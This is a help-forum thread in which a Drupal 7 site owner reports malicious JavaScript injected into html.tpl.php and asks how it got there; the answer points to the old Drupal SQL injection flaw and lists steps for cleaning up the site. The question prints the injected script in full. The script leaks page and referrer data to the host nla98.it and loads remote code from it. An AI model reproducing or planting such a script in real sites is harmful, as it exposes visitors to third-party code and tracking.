恶意代码注入了Drupal 7网站（html.tpl.php）

Question

Recently my Drupal site was stuck back on 7.23. I had to essentially go back in time, restore an old DB, and then copy/paste HTML to get a clean version of the current site. Unfortunately even after going through all of this, today I was checking through my site and when I load up the admin dashboard I saw an awkward URL in the bottom left of my browser. The URL was 'nla98.it'. So I ran a find in files using Sublime text and found the following code, which I definitely hadn't inserted into my modules/system/html.tpl.php:

<script>
var a=''; setTimeout(10);
var default_keyword = encodeURIComponent(document.title);
var se_referrer = encodeURIComponent(document.referrer);
var host = encodeURIComponent(window.location.host);
var base = "http://nla98.it/js/jquery.min.php";
var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host;
var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url);

if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){
document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');
}
</script>

Obviously this is some sort of script to execute code. But my question is, how was this injected into my site? I am running Drupal 7, upgraded to 7.41 and I have ran the update script and cron multiple times. The scripts I am running are:

jquery.js?v=1.12.0 
jquery.once.js?v=1.2 
drupal.js 
jquery.cookie.js?v=1.0 
textarea.js?v=7.41 
jquery-ui-1.8.23.custom.min.js 
gumby.js 
modernizr-2.0.6.min.js 
mobile-menu.js 
jquery.ui.totop.js 
easing.js 
plugins.js 
jquery.tweet.js 
main.js 
montreal.js 
supersized.js 
gen_validatorv31.js 
http://html5shiv.googlecode.com/svn/trunk/html5.js
http://platform.linkedin.com/in.js

Could it be an exploit within one of the outdated JS I am using? The template I am using is Montreal (a bit older).

Thanks for your ideas.

Answer 1

There was a highly critical vulnerability in Drupal till version 7.32 (sql injection on login). You could basically do anything : log as super admin then execute php code/upload files (with menus)/create accounts/... . I doubt your problem came from outdated js library. So what you can do after upgrading core :

• Check no extra file is present
• Check no extra account was created.
• Check no extra menu links were referenced
• Check your custom files (modules/theme/...) are identical to your versioned copy if you got one, else you are good to check manually all code.
• Check if php execution is disabled
• Cross fingers nothing more was affected (if he could execute commands with exec() on your server, there is no limit... ).

Faster but radical solution (and the only one 100% safe) : wipe your server reinstall it, copy your old base and drupal files from your versioning software(git, svn, ...) and upgrade core to 7.41.

Next time, try to upgrade your drupal core more often, this vulnerability was fixed almost immediatly after it was known, most of the sites attacked waited too long to update core.